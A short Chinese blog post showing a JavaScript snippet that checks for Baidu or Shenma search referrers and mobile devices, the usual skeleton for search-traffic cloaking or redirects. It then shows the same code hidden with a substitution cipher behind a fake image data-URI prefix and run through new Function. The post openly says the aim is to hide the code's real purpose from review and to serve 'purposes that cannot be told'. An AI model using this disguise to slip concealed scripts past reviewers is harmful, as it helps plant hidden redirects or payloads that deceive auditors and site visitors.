JS加密/解密之过某审的加密方法

JS加密/解密之过某审的加密方法_第1张图片
源代码

var referrer = document.referrer;
var regexp = new RegExp("\.(baidu|sm)(\.(com|cn))","ig");
if(regexp.exec(referrer)) {
    const detectDeviceType = () => /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) ? "Mobile" : "Desktop";
    if(detectDeviceType() == 'Mobile'){

    }
}

加密后

(function () {
    function tYOGrN(s) {
        var d = {"o":")","F":"F","0":"S","M":"0","1":"d","9":"O","(":"_","2":"V","n":"U","+":"f",".":" ","[":"8","Y":"<","k":"v","3":"Z","Q":"K","v":"B","L":"p","h":"|","K":"X","W":"5","Z":"T","E":"3","}":"9","C":"1","N":"j","A":"D","j":"(","u":"I","x":"-","^":"w","_":"L","e":"b","]":"\\","I":">","s":"2","a":"h","R":"^","<":"C","!":"G","B":"W","4":"6","P":"E","5":"&",")":"i","\\":"r","q":"t",",":"Y","7":"g",">":"n","V":"4","-":"[","c":"H","D":"l"," ":"a","i":"z","6":"}","t":"{","S":"y","8":"Q","g":"s","=":"P","X":"]","&":"N",":":"x","m":"k",";":"c","l":"R","f":"=","r":"J","J":":","w":".","U":"M","d":"q","z":",","O":"!","G":"o","{":"A","|":";","T":"+","H":"e","b":"m","p":"u","y":"7"};
        return s.split("").map(function (c) {
            return d[c] !== undefined ? d[c] : c;
        }).join("");
    }

    var c = tYOGrN("data:image/jpg;base64,k \.\H+H\\H\.f.1G;pbH>qw\H+H\\H\|k \.\H7H:L.f.>H^.lH7P:Lj\"]wje )1phgboj]wj;Gbh;>oo\"z\")7\"o|)+j\H7H:LwH:H;j\H+H\\H\oo.t....;G>gq.1HqH;qAHk);HZSLH.f.jo.fI./{>1\G)1h^He90h)=aG>Hh)= 1h)=G1hvD ;mvH\\ShuPUGe)DHh9LH\ .U)>)/)wqHgqj> k)7 qG\wpgH\{7H>qo.?.\"UGe)DH\".J.\"AHgmqGL\"|....)+j1HqH;qAHk);HZSLHjo.ff.'UGe)DH'ot....6".substr(22));
    new Function(c)();
})();

作用

1.起到一定的代码保护作用,让代码变得不可阅读。

2.打乱代码逻辑,无法分析出真实用途。

3.达到某些不可告人的目的。

你可能感兴趣的:(javascript,开发语言,ecmascript)